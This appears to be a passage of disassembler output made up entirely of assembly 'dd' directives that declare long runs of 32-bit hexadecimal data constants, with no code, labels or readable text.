		dd 38649E2Eh, 0B3C029C8h, 6BA3FF10h, 15854F0Ah,	0E8A3DCh
		dd 3110B897h, 0D9130918h, 7C26CD8Ah, 735A46F8h,	819AED08h
		dd 4011C43Ah, 86ED1C32h, 36B11C12h, 0C5C6C01Bh,	0A596BB3Ch
		dd 10C81F4Ch, 0C858CEA2h, 0CC348D15h, 0BF17F04Ch, 19A82366h
		dd 9A091FE4h, 22D0782Bh, 4C85C22Fh, 0D46016C4h,	6F4B8DBh
		dd 83F87117h, 43971407h, 7CF9A124h, 5DC70073h, 9D316C15h
		dd 0A2123DA0h, 6C4F1F9Fh, 0BF20403h, 508364D5h,	0C600BC35h
		dd 43D89FCCh, 8120F905h, 0F0A8FAD1h, 10269438h,	0F105130Ch
		dd 8B746014h, 0BC71303h, 0E4A7D8F3h, 237FCC1h, 9F5B40Ch
		dd 1AB27C72h, 86028033h, 0BAD11861h, 0AE3888D7h, 0F50217ECh
		dd 51C1E9E3h, 0BE74C09Eh, 20C487EAh, 18CB3367h,	1BFCD950h
		dd 87DB048Ch, 623C4F54h, 0C38120D4h, 0A8061987h, 0C662D186h
		dd 4BAB1288h, 2914802Dh, 8CA4AA8Bh, 0A8896C94h,	3D34642Fh
		dd 24035268h, 0C93AD358h, 47E5AED0h, 82F5B10h, 646CC800h
		dd 12E93C98h, 290CBA71h, 514A2126h, 0FA94A0C8h,	0A2B380CEh
		dd 303E0A28h, 0A79F2172h, 0B0CB0BC4h, 8201EDA8h, 16441047h
		dd 96B3D560h, 0CC03B9E0h, 95530B54h, 12500056h,	0A0DC33F0h
		dd 0A0B04A15h, 30440A13h, 0BB90B4h, 0BDAF7405h,	0E033BC7Ah
		dd 214E1FF2h, 84419CD8h, 457CD671h, 2CF0DD56h, 0AB05E39Bh
		dd 64CB53ACh, 4F806F3Ch, 0ED35E4A6h, 0C30B3457h, 0D0B3C594h
		dd 20164038h, 8DC72F04h, 2CC82151h, 4C5597Bh, 0B57EF4EDh
		dd 0EDA0AC09h, 0AB00822Ah, 580571h, 0E0C1748Ch,	0DCEBF52Ch
		dd 5B12A8D6h, 2CD2BD89h, 0E8022B82h, 0A000C0B1h, 1EFF62Ch
		dd 0F7841639h, 350D19F5h, 2003090h, 0B0F3A281h,	0B854B64h
		dd 72D3B8F0h, 5B11889Dh, 0C4DB9C84h, 8A0481C3h,	82500CAh
		dd 30554B24h, 0C3B3E048h, 8F4464B8h, 0AA257E9Fh, 0B2947408h
		dd 52309288h, 3DDA0B05h, 9496E3BFh, 55A0C00h, 47594D7Ch
		dd 760E08A6h, 1E0032B1h, 304E9DF9h, 109220h, 462927Ch
		dd 0EAA9D60Dh, 6FCC8200h, 5F4D96CEh, 48FF0276h,	7D8D0256h
		dd 112B07Ch, 1BC89CCBh,	2D75D0C0h, 80720E9Fh, 0E0D68DF7h
		dd 0B161E50h, 70A3C694h, 660F4107h, 32258015h, 680069C3h
		dd 0B98DB2DEh, 0B8474085h, 0E5B102A4h, 2AB409A7h, 0ED409C7Eh
		dd 0B4F3BB9h, 29414D84h, 748B8402h, 0A2F03h, 4C78B729h
		dd 0E79895ECh, 0BA116B3Bh, 1D0794C9h, 2EBA00D4h, 9B87C219h
		dd 81180A34h, 0A8E84ED9h, 7C605CCCh, 5541B10h, 1CA985CFh
		dd 0E30020CBh, 0E0794C6Fh, 7E141013h, 4DA48A43h, 186E04FCh
		dd 0F4804657h, 3EFECDC5h, 0ECB5F9BBh, 0C8FCCB68h, 7D88C01Ch
		dd 70C86C2h, 0F1184E21h, 105749A1h, 804CF400h, 59867488h
		dd 0D051E90Fh, 2D419D9Fh, 6826A593h, 31C9D080h,	214C03C0h
		dd 0AE60790Bh, 0B12482C4h, 0AA3D000Dh, 0A59F0143h, 80521D84h
		dd 5AC864CBh, 0E0A8E3C5h, 7D85C7C2h, 0DD4F945Ah, 4C49E000h
		dd 0EEF24051h, 0BC79D06Ah, 0BC160420h, 0A004C4D3h, 0DA24C6F5h
		dd 0A696C16Ch, 0C8345D5Bh, 0FC324DA1h, 7BF02F4Eh, 27E788Eh
		dd 3283903Eh, 38E48EC9h, 0A3207090h, 0FD4D1672h, 2058F11Dh
		dd 810B1558h, 4048E9C5h, 1790A2C0h, 0FC06DA7h, 0F2B3CAA4h
		dd 9C412288h, 151810CCh, 5FCA52Fh, 0FAB0A3FFh, 8A2678A0h
		dd 0E044D047h, 48BB6960h, 0A856A90Bh, 91C49725h, 0B18D8018h
		dd 5CBAC717h, 310B030h,	2B7F001Bh, 29C9C476h, 0A091E320h
		dd 87DA801Ch, 8C244F51h, 9082DC44h, 389200D5h, 1C5A9FD4h
		dd 0AC160304h, 44F288C9h, 385AE780h, 0F008464h,	0B9F91DABh
		dd 16317DF0h, 0D75D3953h, 296EF2C0h, 51795471h,	1D003F18h
		dd 0D85496DDh, 1AA2E29h, 0BA7E4A6Eh, 74F5CB5Eh,	10E2479Ch
		dd 2F38C312h, 0F49ECCC8h, 0B2C2005Fh, 78D2B6A8h, 9A002C6Fh
		dd 29BC08D3h, 75120C77h, 268CB98Bh, 101DEB8h, 0F6F4C888h
		dd 202093B1h, 0E81C4823h, 2223D84h, 0C863F2C7h,	370BC3ECh
		dd 427925C9h, 58F0E553h, 5B37F700h, 0FA3FD551h,	590B6AFh
		dd 474981C9h, 820CF08Ch, 286148EEh, 834FE142h, 455B7DF1h
		dd 9048015Eh, 0F4C9CC74h, 0AD39857Bh, 74489BCBh, 87D5C019h
		dd 2C464F52h, 8300DB22h, 1EE787DDh, 0D1942Eh, 49E2B5A6h
		dd 29C10B71h, 4AFD40A8h, 4C2F3488h, 0A5102406h,	782E93C8h
		dd 330F1923h, 0ADEEE0C1h, 913248FAh, 1850D124h,	358A07ECh
		dd 0AF377Ah, 668B5748h,	2B5DFC90h, 0FA3D0910h, 2FC0C0B3h
		dd 30A1B77Ch, 50C3A543h, 41B88084h, 0A8EC1112h,	81968820h
		dd 5D6B0069h, 7A377751h, 9300F92Dh, 4E645B56h, 20731312h
		dd 0D13C63F1h, 8D2F7D25h, 0F2244856h, 532D80CEh, 184EC932h
		dd 449CE7D8h, 0A1006451h
		dd 0BA7C151Dh, 52AD1CB0h, 997BC53Ch, 10D8E261h,	754809A0h
		dd 90A15F78h, 262D76E8h, 11CECC30h, 0A9E69Ch, 954CC1A8h
		dd 5DC025A1h, 4C6B9F24h, 9DD99E82h, 3C460026h, 0DF1E8DF2h
		dd 57453DC4h, 68EC9E5Fh, 954F60C0h, 889028DDh, 39C02FFCh
		dd 0B3CA7A40h, 0E00B04FDh, 974DD13Fh, 721440h, 0C0A7FBC8h
		dd 0F9250B70h, 0D14C24h, 104D5580h, 2D0297EFh, 4C91627h
		dd 0E4402FCBh, 0A4778144h, 2722F68Fh, 1097AE5Ch, 0E28BD411h
		dd 0D0810046h, 8561896h, 5F3DD605h, 8404DC4h, 1CEA055Eh
		dd 7C7B913Ch, 172590BBh, 81029180h, 5C965067h, 8D01C873h
		dd 1D48D3DAh, 6316D430h, 2DB6350Fh, 85E018A6h, 471E5ABDh
		dd 958DC73Ch, 0C9680217h, 45214CF2h, 1C3C4FFFh,	2D5F862h
		dd 40A82604h, 474CA580h, 320091C7h, 2E8C6D62h, 0EC6F96h
		dd 0B1443A71h, 98D4ABB4h, 18A78901h, 5C1CA5E5h,	5C96BAD8h
		dd 2805D849h, 88A8BFFDh, 5400D3C0h, 5A903951h, 12CDEB3h
		dd 75CA21E7h, 0CA8D0156h, 0B8BE9458h, 3F8B7ADh,	0A7B41CC3h
		dd 1C80428Ah, 4E034191h, 4AB15600h, 5CDC21B5h, 5FD00BC5h
		dd 407925D8h, 92094818h, 35F00E12h, 256D616h, 0A51B3D4Ch
		dd 1AA64048h, 0CC46870Dh, 9BF831CBh, 0D8C42EF0h, 0D5070048h
		dd 0C6E674E8h, 3B402C94h, 0EC7FF8BEh, 0ABB1037Eh, 0FD1FEEDBh
		dd 4B99ACA0h, 9D148A09h, 3F0490D7h, 0BA013DEh, 14AC97C7h
		dd 0D08CF139h, 3896459Dh, 0DE2824h, 0FA462307h,	5A942784h
		dd 0A6D4BD02h, 69DD53h,	1F932C30h, 21311372h, 29C8E94Bh
		dd 982C6D71h, 38C19B8h,	0C65D6E6h, 1900229Eh, 49EE55C3h
		dd 345D02h, 0DE21F3BDh,	9D4D9BF6h, 0E018F130h, 94E440Fh
		dd 0E42F3DB6h, 1C11A81Dh, 0ECD9F180h, 5E079806h, 7FE8F0A8h
		dd 10F83295h, 0C0F8275Eh, 9F3C1186h, 8D00D1E4h,	0F8F18099h
		dd 4CC9B1Fh, 0C98759F0h, 538B82Eh, 794943ABh, 0DB3F88D0h
		dd 0BE500BCDh, 0C819F6B0h, 0BD61818h, 0C44F5587h, 862ED49Ch
		dd 0C7004CDEh, 1A0797CFh, 0CD2C28B0h, 27A920F8h, 5BAB1C0Bh
		dd 0D7D0E07Dh, 0E3AA168Bh, 3C048D0Bh, 8CDEBC38h, 2E16800h
		dd 7A9FB603h, 35940326h, 2404F473h, 0A1B3C0C0h,	5DE6F617h
		dd 0DE00ECE2h, 967F451Ch, 8C16113Ch, 4C044C7Ah,	0CA3377BDh
		dd 0F54F690Ch, 71B3C901h, 0C8949Fh, 0F2C24171h,	0F4B473C3h
		dd 482747h, 0AE424D4Ah,	7F5DAF9Fh, 9BFB019Ch, 46417BB0h
		dd 20843452h, 0FAE04F47h, 5D3F7502h, 6457FFh, 2D25F545h
		dd 677891BDh, 923DC210h, 2815EF30h, 5BD9819Dh, 315401F2h
		dd 7F4EB153h, 872CF048h, 9057B616h, 3A4789B3h, 1D7FA27h
		dd 2E49E78h, 28F548F0h,	223827D5h, 0B0BCC744h, 1C17465Eh
		dd 1819950h, 0F9C7426Eh, 5F599420h, 0DF4431Ch, 43A10A79h
		dd 0FB18C11h, 1B814006h, 0D0F532C1h, 6AB92011h,	0D5036094h
		dd 2A9D79C9h, 7032E100h, 4B35FA2Fh, 51D22C85h, 40CC4414h
		dd 809F95ACh, 2D6E09Eh,	0E0BFBAD8h, 18FE303Dh, 0A483919Ch
		dd 0D0B15589h, 37AC84h,	0C9AD7B4Eh, 0F47DE01Bh,	6CBB1726h
		dd 299AC300h, 124E2E3Dh, 8EE77BFh, 0D8C01664h, 584F5B87h
		dd 88E0E834h, 5D0487E0h, 2919DE5h, 0C46E3D02h, 6044B884h
		dd 2CA0ED0Eh, 70C40A81h, 0ED0016D0h, 0A6763B01h, 29E2E33Ch
		dd 7124F724h, 1E4F1816h, 81E22D1Bh, 4BA2E0BAh, 0C082FEECh
		dd 4C56C50Bh, 83ACCC94h, 0D05D3E43h, 0E63225h, 3BE8C619h
		dd 0FCB72A8h, 61C7AB04h, 44D192F1h, 3980CFCCh, 0F569259Dh
		dd 0EC002967h, 40F6F4B6h, 121DA10Fh, 3A067D10h,	3233Ch
		dd 1F7BC2F2h, 0D91A7992h, 4078E072h, 1D4AC964h,	254D5BA5h
		dd 0D55A2CC8h, 63124586h, 3059A2ACh, 5D4AF2BEh,	0C1001CE2h
		dd 644CB37Eh, 9D0509EBh, 0D216D9BBh, 8CE008A4h,	0D4FA004h
		dd 18AC84ABh, 4F98A0B7h, 7702EB6Fh, 3874B8F5h, 0C7E461C9h
		dd 882AE9E1h, 6D41235Ch, 61C90BF0h, 4BAB4160h, 0A19864B1h
		dd 3FB97E60h, 0B8FD4DC3h, 72D31244h, 14A4D38Bh,	52921808h
		dd 809E5D4h, 0A9CE5DCCh, 124484EDh, 0CF00508Eh,	4F92ED17h
		dd 7B51A6DEh, 908887C6h, 85F19A8Ch, 60440F75h, 0AC8C10C4h
		dd 8714B293h, 601A4498h, 9A14294h, 0CD62F18Eh, 751D5851h
		dd 219E3020h, 9730F231h, 947FC400h, 0F34ACABAh,	0EFAA0131h
		dd 2AC961CEh, 212425DAh, 4B6260E8h, 9915Eh, 402470B8h
		dd 94E0273h, 673D0881h,	63F03000h, 665CA002h, 5DA87EFEh
		dd 89C6C826h, 1AA52C02h, 5ACC15E0h, 0F5EB0018h,	8AA66F5Ch
		dd 9E4A5663h, 9C1334A2h, 0C38449A8h, 0DE983090h, 0C0D868A9h
		dd 0D0730B3Dh, 95E02B79h, 1C877A09h, 13E404E4h,	0EF79D058h
		dd 3D437200h, 0D8A05618h, 2128649Dh, 0DA6FC05Eh, 230086C1h
		dd 4FBC08Ch, 95D79A3Fh,	0BAAEB882h, 6DD23CA0h, 6F2CA3AAh
		dd 7200B22Bh, 964EC3E9h, 0F98109C9h, 6078CB7Ah,	0E8A40CB9h
		dd 0E60AA70Bh, 5148427Ch, 69D9219Ch, 1D75E8A4h,	24B521EEh
		dd 52C90884h, 96C18705h, 0DF0334F1h, 2418F631h,	743845BAh
		dd 75001846h, 0A1676AB4h, 0D42E04C9h, 4D083043h, 8091E79h
		dd 0A280D1AFh, 0C9A78890h, 803C96A1h, 0DE6D2E5Fh, 360025C2h
		dd 613F9103h, 4DA8FE12h, 58BC8808h, 3190D013h, 184918A0h
		dd 984DD77Eh, 108056B9h, 382B5C39h, 226911h, 17E0DDC0h
		dd 268708A5h, 96A416C9h, 85D830ABh, 612E5DD1h, 15123C02h
		dd 6D580918h, 1C3A8844h, 3FDF980Eh, 49186BAAh, 1F24D48h
		dd 3F8792C1h, 6A85466h,	0E953A895h, 2DF04843h, 241388D3h
		dd 0CB1114ADh, 0CD8204D5h, 0AD87DA18h, 6B5EB7A0h, 86CC0133h
		dd 2D49CE69h, 9922CFBBh, 0ECC48143h, 0FB2CA80Ch, 360808CAh
		dd 4B5064CFh, 187C109Eh, 7A7803ACh, 945CEC7Bh, 55C0D0B3h
		dd 7D01DB3Ch, 3F9058E5h, 0A85256B4h, 44A8E621h,	1CB80B77h
		dd 8CE051D2h, 14125475h, 0F9BCB953h, 3D31811h, 12941F0Bh
		dd 26C1C5D8h, 5D0AF17Dh, 6C523F48h, 590BE86Fh, 0F4E41891h
		dd 7A568100h, 12959A63h, 9319501Eh, 3ABE0AC7h, 0E47447D2h
		dd 305E3254h, 9E12ED10h, 94CB1A81h, 0ED18CE02h,	22E0A2FAh
		dd 0B114664Bh, 10E0431Ah, 5BC8C90Ah, 41F4F8A5h,	1588880Bh
		dd 41746429h, 96C3EF12h, 896B245Ch, 0F7FFECC6h,	89D69709h
		dd 43F870C7h, 411D3A0Ah, 41493460h, 366020BAh, 1888DC41h
		dd 870941D1h, 417C5886h, 102A6A4Ah, 0A8125021h,	18818C88h
		dd 38E43EC9h, 0F1185BA7h, 977819EBh, 0D1A06458h, 18B440CAh
		dd 124D5D16h, 0A410B58Dh, 54403700h, 5A957B4Bh,	3D38CC90h
		dd 1F4FF210h, 0B1BA4D3Ch, 0A8433862h, 0EF08F4FAh, 802E1995h
		dd 0F2287DD3h, 0A8A5C768h, 130C888h, 15532516h,	0D7C89847h
		dd 810177F0h, 0E8A847C6h, 0FBCCB480h, 5C18A887h, 0A8B77429h
		dd 0C0215B41h, 0A5B93000h, 88AED4B1h, 2C04465Eh, 210B089Bh
		dd 86F8484Ah, 2050989Ah, 0E8994DADh, 0B8F21664h, 0E470D803h
		dd 0B2888074h, 271238BFh, 9300A88Ah, 0D7B31AF0h, 628943Fh
		dd 10E9F915h, 3C82134Fh, 3C8CDAA7h, 630130A8h, 0F29BF6A2h
		dd 829C3C9Eh, 47A0EEFBh, 601D44A4h, 0F438D8Bh, 0D98111F9h
		dd 3958B4B2h, 42849016h, 7F92D470h, 7DBCA011h, 1E460959h
		dd 0A85129F3h, 0CF185A79h, 61CCEF00h, 7BA74DEEh, 0A85150DDh
		dd 0A8A300E2h, 2B261C89h, 42485553h, 90628E74h,	8875B30Fh
		dd 0F0C41369h, 0CCF7D800h
		dd 38740EC4h, 5640150Dh, 0A811A444h, 0C8302DD1h, 0B36884h
		dd 0D4F2B8FCh, 5CAE4B7Dh, 2BB5800h, 7BFD1649h, 0F7212610h
		dd 398A050Ch, 0CC34C0D6h, 9A243D54h, 4B815403h,	0D180418Dh
		dd 35096C38h, 347083E6h, 0F7A2F910h, 7089A50Bh,	5BE41465h
		dd 0E15ADC60h, 0BEA18211h, 6C6BE400h, 97D679CCh, 2D207F12h
		dd 6FE0B4A6h, 621FA148h, 53DCC708h, 4C005712h, 3FE09249h
		dd 1287F0DBh, 0F9D096D1h, 7A051340h, 0C80B3004h, 0CB9846EFh
		dd 410059CDh, 0A33E66D4h, 1440BC9Eh, 88D6C4C2h,	0F78E4862h
		dd 9D69F828h, 80111140h, 0DF8D6A75h, 33B9B019h,	0CA60DC64h
		dd 0C74600A4h, 948AC181h, 4D4401DCh, 6827405Bh,	15923CCh
		dd 8199ED13h, 88151832h, 0ED001B33h, 2234DC6Fh,	14CFF635h
		dd 0F8CC07A3h, 14F83627h, 0B1DB2509h, 6708300Ah, 0C372797h
		dd 0C571105Ah, 9687FA24h, 37B70828h, 80EF1D34h,	0ECC38B6Eh
		dd 0A026322Ch, 0E1087C65h, 4726024Ah, 0C8A0D6CBh, 0F00AE8CFh
		dd 7E1B9600h, 9BF945C9h, 0A03A02EBh, 0B6C116ADh, 0A10CFCDCh
		dd 4F69C0h, 0B050879h, 0FE369928h, 5BC9A83Dh, 6A0C04C0h
		dd 0AE470E4Ah, 0A6806626h, 3A7E4CCCh, 0CBAAC105h, 0D8A85B64h
		dd 0A024612Dh, 0E020EBC4h, 2921D24h, 0A23F38BCh, 4707C55Fh
		dd 59DE2750h, 13B4043Dh, 0A5C98740h, 0D40B2ED0h, 0E32001B3h
		dd 3C62C694h, 47F82673h, 131F1321h, 0C8C48B08h,	44CCC0DDh
		dd 85007B7Ch, 59A5AB77h, 9F759DF7h, 4C106080h, 7B08AC25h
		dd 0BD87C9FCh, 1CD4F0CBh, 57ECF724h, 0C23D0A3Ch, 0D1118470h
		dd 4C86C90Ah, 0F7843918h, 817B7277h, 70D13F08h,	2B43AD48h
		dd 0C890E222h, 9EE2620h, 48457BADh, 65452464h, 0C0908802h
		dd 8042A548h, 0E13C185h, 34CE03F4h, 0C2CF1988h,	5C01D0FDh
		dd 651024h, 93160EAEh, 1463EC1Dh, 0B8D6CCA1h, 95BB3C0Fh
		dd 0C0272EE0h, 2602974Bh, 0F550B445h, 4F38509Dh, 10F218h
		dd 36DC2773h, 0A99038h,	0D92C306h, 7710ADB3h, 9739718h
		dd 1A90A270h, 605B8498h, 573994C0h, 42FFB083h, 2FB64F81h
		dd 5123D4h, 0FB2F7FAAh,	8601666Ch, 46487CC7h, 8022A8E8h
		dd 7A83AA00h, 9D1B6ED0h, 2D2C9009h, 0D8901897h,	75EE0362h
		dd 464E6CDFh, 0D7132671h, 0C43A3120h, 4C00DB23h, 0C5A92F61h
		dd 39CE0B74h, 2002515Bh, 0ECDAE816h, 0F8BE0920h, 0D3922CF1h
		dd 9D16BE2Ch, 1F00F676h, 0F50CAB18h, 2ED61845h,	19BCD4BFh
		dd 0E4F8216Eh, 4D24F548h, 61643C15h, 0B9C20B45h, 474A7C44h
		dd 5A8B9030h, 349C0B87h, 0DCA2B553h, 0F098B186h, 98245AB9h
		dd 0E1071176h, 798B1D63h, 7C4DA51Ch, 9DE5AFC0h,	8C28400Dh
		dd 0E312B4B8h, 24F25BEDh, 1B30D1F2h, 9D7670FAh,	231F9CE4h
		dd 833A6FECh, 97E55F9Bh, 812180DEh, 935100E3h, 0FD014805h
		dd 2C16D79Ch, 38041FA8h, 1302E9F6h, 0EC506573h,	2F85A214h
		dd 13422B8h, 2B8BF62Ch,	50C7BA9Dh, 0A05771ACh, 58871896h
		dd 0A100586h, 137B2Dh, 0A0164E39h, 91848825h, 875D5002h
		dd 0D4F746F9h, 174676F4h, 8A8E1A39h, 0A3E07666h, 484D5FE2h
		dd 0AE12DDEAh, 28F19002h, 99E91CF0h, 6E4A3CB0h,	11A6009Ch
		dd 0C39AE03Fh, 1B97275Dh, 8F9DA4C0h, 404AE4Bh, 47042862h
		dd 1640F997h, 10F0B845h, 6F408A30h, 48A4808Fh, 4656ACBEh
		dd 0E1540018h, 79128DBh, 44240B86h, 44734548h, 4F835D0h
		dd 6D8B44CAh, 0BDC4810Fh, 41E00652h, 54D03E13h,	0D40ADB9h
		dd 96B0430Fh, 88844EC9h, 0BD2BC0DEh, 7E053555h,	9443D099h
		dd 4F47D421h, 13BF18F0h, 0FCD45F3Bh, 20D28FB0h,	7C99A566h
		dd 0A83700DDh, 85E206FAh, 4F1633F1h, 0E80046D7h, 3F08BC56h
		dd 49AB04BBh, 0F4ED5F4Dh, 2652FA54h, 0A940218h,	76C9B37Ah
		dd 0DD465E58h, 0BDA45500h, 4A2BD0A5h, 73A6A309h, 6858AC39h
		dd 44844E0Ah, 54EC598h,	0B8BC9DA1h, 0D2DDC60Ch,	10BA3F7Eh
		dd 0C0882F4Ah, 2AED2743h, 0C9200864h, 69D4BE57h, 5C00CC71h
		dd 0C425BCD0h, 0EE417C92h, 0C4BD9D06h, 0C9C35C00h, 9688AA4h
		dd 96C5C67Bh, 0B22E0807h, 407EFD8Dh, 4F467Ch, 30FCE229h
		dd 1E8EB4C6h, 0B7CC0B86h, 197B61D1h, 5F046775h,	0E0029020h
		dd 3B010237h, 1865854Fh, 740C9109h, 0B0E5C610h,	56D9660Bh
		dd 0B0D8F2E3h, 9F83F638h, 0EC0E740Bh, 3BC70A71h, 0CC0CACC5h
		dd 24FA203Ah, 25B0674Bh, 0A7E8989Bh, 3D3CB07Bh,	0D1670B58h
		dd 31E440CEh, 8B900121h, 51F54B96h, 4358816Ah, 0B5A11DF1h
		dd 30B69854h, 9A3F6EE0h, 0FC03034Fh, 7FBD85C9h,	0ECAD5221h
		dd 93FB127Ch, 0AFD04FB0h, 4D2E20BDh, 9132F095h,	81C076B0h
		dd 0DC0D737Dh, 0FE5420FCh, 11AB8140h, 1446CD5Bh, 0E85C2ED9h
		dd 0AB3B8C4Eh, 0BB9512F2h, 130040F2h, 3BCE3EA6h, 0E00AA8Eh
		dd 27EEFFDEh, 5287C9FAh, 0C780F8C0h, 973C682Bh,	0BE100497h
		dd 22C0E257h, 0A0F4A0D5h, 21D040A2h, 78D2504Eh,	0DA5CC0E0h
		dd 380F6F1Eh, 3DFF2290h, 16ADFDEFh, 6F73E472h, 0DCF3F0B1h
		dd 0BB684A60h, 8808A65Ah, 0D4002867h, 8220A4D9h, 0BF7F2940h
		dd 5A11749Fh, 0CCC82D8Ch, 9488C988h, 0AB3ABED0h, 10471967h
		dd 1876648Ah, 701BE0C4h, 99D4F01h, 0ACF8BA1Fh, 0A6E877h
		dd 18A1511Ch, 13D5A826h, 91109D9Dh, 2A388052h, 101271Ch
		dd 0B768AE8Ah, 20F5CDC6h, 8D5C8E3Ch, 0CEDE8804h, 0AB0F4FC1h
		dd 88161894h, 4F0F966Eh, 0E00D2EBAh, 0F7C135B1h, 979B01E0h
		dd 2FD2403Eh, 0D03E7B62h, 28050423h, 28802630h,	0B520C2B3h
		dd 8189464h, 0ED82E8C4h, 95E5134Eh, 2504E069h, 0A0E45979h
		dd 0BFA980F1h, 3CD0C0D8h, 0E1850119h, 0F7D725A3h, 8289C09Bh
		dd 610B7FEEh, 45D88439h, 6715E47Ch, 0B2BAEAF0h,	3C6B0191h
		dd 3FC46356h, 0B0D13F92h, 8C287B45h, 811D6622h,	0BC28EAD1h
		dd 0BC96408h, 792140C1h, 0E6009859h, 0FFB6187Dh, 22C33CFh
		dd 3D9117F5h, 874A792h,	0AE4B2F00h, 27873931h, 5817549Ch
		dd 1E80D191h, 0AB3C8ACBh, 80957B2Dh, 0DB3FC370h, 0C185099Dh
		dd 9851E41Ah, 0C71818D9h, 0AA50AB00h, 24024264h, 40C64FCBh
		dd 0E845BF0h, 6E003FECh, 5D9FBCDAh, 59733171h, 1C56D421h
		dd 5616FF2h, 0FCC4D6BAh, 776F520h, 67B2C985h, 8144C502h
		dd 5FC314h, 5010A2C1h, 180AC2Bh, 94AD50FCh, 0F8638367h
		dd 6C00FD60h, 0A7AE3D8Fh, 0DF231C73h, 0A9338051h, 9054C03h
		dd 80EABF0Bh, 609C1A0Fh, 0B32B48Ch, 17DFF2C7h, 5862C0CAh
		dd 87027C51h, 0D28B92F9h, 0E635208Ch, 0A296BB1Eh, 2007993Fh
		dd 51E0EC11h, 83098145h, 5AE98769h, 2BF14CCCh, 0E1595C30h
		dd 7D80E2A2h, 414E2C08h, 73E98948h, 4676D85Ch, 949F005Bh
		dd 0F18FCD12h, 66C8BCA6h, 0EF062956h, 139B45ACh, 4F6D20E8h
		dd 0D43F1207h, 0F261594Dh, 787D6B23h, 0C61DC908h, 697B1302h
		dd 0E2600C61h, 0B888C74Bh, 5C178AB3h, 0C874E11h, 0E0801EDEh
		dd 70879F47h, 2E44E4BEh, 4484C31h, 17F2F0F2h, 7DDE4E30h
		dd 6A153BD9h, 52F2C8Ch,	56037221h, 1EE99842h, 124AA3FFh
		dd 4096C7Eh, 56C53810h,	9EA34B1h, 880750F9h, 6380CE8Fh
		dd 183A376h, 0D0CAEC08h, 30C5AE22h, 670A67Ah, 318D4B05h
		dd 80D2D2F4h, 0BF304C1Eh, 1C912097h, 0BAB91A80h, 21180FE2h
		dd 0BD10747h, 14B9CCh, 0C99923F5h, 6B097E09h, 81985215h
		dd 1D5B13E0h, 0E398122Bh, 0A1B30018h, 394E9386h, 701F5C60h
		dd 7B8C4DBCh, 0FA1D00BAh
		dd 0D0F8F48Fh, 0B82F8990h, 4B4CC401h, 4BA8081Ah, 0CCF92800h
		dd 95A05539h, 9EE0C4AEh, 71025DACh, 0B7336601h,	24750D44h
		dd 0B289FCh, 0BEB64260h, 554F493h, 6E775B01h, 10C3AA43h
		dd 3090A201h, 66B5C8A4h, 7D4A0FB0h, 43E2DCE0h, 50F16FCAh
		dd 991815D9h, 1F6C5B13h, 3B259E01h, 97C9545Fh, 706866EDh
		dd 5834A440h, 4E86018h,	0B101028Ch, 39430B26h, 5026B07Eh
		dd 6DE2A08h, 700FADB3h,	0F0E9320h, 0A75DBAAEh, 56B48453h
		dd 0B05CA6E0h, 13348FF6h, 2044C173h, 9D39C310h,	7C1C2BBFh
		dd 1E9040E0h, 0B324A386h, 86C968B9h, 2741455Ch,	3849A04Fh
		dd 515BD05Dh, 0EB91E800h, 0B5B985D4h, 93FA103Fh, 0CECD2810h
		dd 27E7B025h, 3269560h,	6A8C4178h, 0F9DC6420h, 5A7A0E2Eh
		dd 79E0CA83h, 502BFDC6h, 9469170Fh, 813B00E7h, 978B8AC9h
		dd 0E04E146Fh, 0AE554043h, 540F0529h, 0BC41FCC7h, 88B480D0h
		dd 385B5D6Eh, 0CA80F647h, 0F3EE7BCEh, 77FE95D5h, 46EEC9FCh
		dd 554431DCh, 6CD2B845h, 87D0A191h, 79BCFB96h, 0C7B54E04h
		dd 863CD23Bh, 5F0F8071h, 89C689C2h, 814056D0h, 0D2FD1D93h
		dd 8097F66h, 54B0C273h,	0E17F4054h, 0D60034C8h,	3336A9E0h
		dd 451995Eh, 0B61D70Eh,	0ECC4ECCFh, 0FEE08C16h,	66BE7B00h
		dd 94908724h, 587A4Eh, 11A84429h, 9FA7E83Fh, 0D0EDC500h
		dd 7664DEE7h, 458725C6h, 1F117017h, 81EEEA84h, 42B090Ch
		dd 0CB2C23BBh, 0E14C91Ch, 0BB226600h, 1290D250h, 0C2AAA10Ah
		dd 38413DDCh, 9800102h,	23C83E2Fh, 0AE1C3A1Ch, 0B59B813Fh
		dd 3CE549B3h, 7E4AC170h, 0F5C5C6C2h, 0E4B769AFh, 61CD4E07h
		dd 0CC8A8B40h, 47FA0073h, 0E4AAEAA6h, 891C767h,	4A84AF15h
		dd 15231C2Fh, 51D4003Bh, 7A19CAB9h, 0E4C619BBh,	0D212D082h
		dd 15C454C7h, 0AF353360h, 64F50602h, 0DA9E9B29h, 2D4D008Ch
		dd 0CE79F656h, 0A00FEB4h, 33C28070h, 2E26DC4h, 0D18762B8h
		dd 5605D77Eh, 7FA5FC04h, 40AB9D04h, 1A152593h, 3479F02Fh
		dd 0F4310ED9h, 0DB44AFCCh, 0BD9513CDh, 776C9111h, 0E1C70333h
		dd 59912DA1h, 73AB0957h, 2EE07A99h, 9782FAEh, 0FC6F1401h
		dd 0DDD4D340h, 3FAA07C9h, 429682C2h, 0DC688392h, 0CCB6E32Fh
		dd 876E00F6h, 4F475C9Bh, 4D031EA7h, 7BF52C01h, 0B306F8A5h
		dd 4C5648A0h, 256D7101h, 925F815Bh, 188273E1h, 0FC38F73Ch
		dd 0E2009197h, 0EEDB74EDh, 862193h, 0AC9F2243h,	0C963A06Fh
		dd 0F75EDCB6h, 2007418h, 423E87A4h, 0EC20F1BEh,	965ED9h
		dd 7377F5BCh, 170418C4h, 93F24041h, 81C400AAh, 3D6C58F6h
		dd 919DCA16h, 0CC2F54ECh, 0E6D7F820h, 5D03A20Eh, 0A1198394h
		dd 403CA84Fh, 2489041Fh, 0AC0A5671h, 13571374h,	2149C801h
		dd 76DA5943h, 1D46769Ch, 45970802h, 0AC5413A7h,	0E0D3720Bh
		dd 0FA939028h, 0D1071398h, 55D8C08Eh, 79CA4932h, 467EFCDAh
		dd 5DBB0503h, 98925B3Eh, 93800F63h, 0DCD31F36h,	94D7C226h
		dd 4084006Bh, 0BC9EC6DAh, 0DD467C58h, 285B9D00h, 0ABA683E5h
		dd 43A55509h, 0B1D0D0F5h, 1918D17Ch, 0B631C0DFh, 80B85AA9h
		dd 0F8A6BB9Ch, 577CE1A0h, 0D195CF0Bh, 21285A04h, 0C90C17AFh
		dd 12A5E1DCh, 5844A112h, 0BC7C9A64h, 0AD290500h, 42776BB7h
		dd 5D4F0B39h, 1C6BA158h, 2C206400h, 18ECBB99h, 2F433C88h
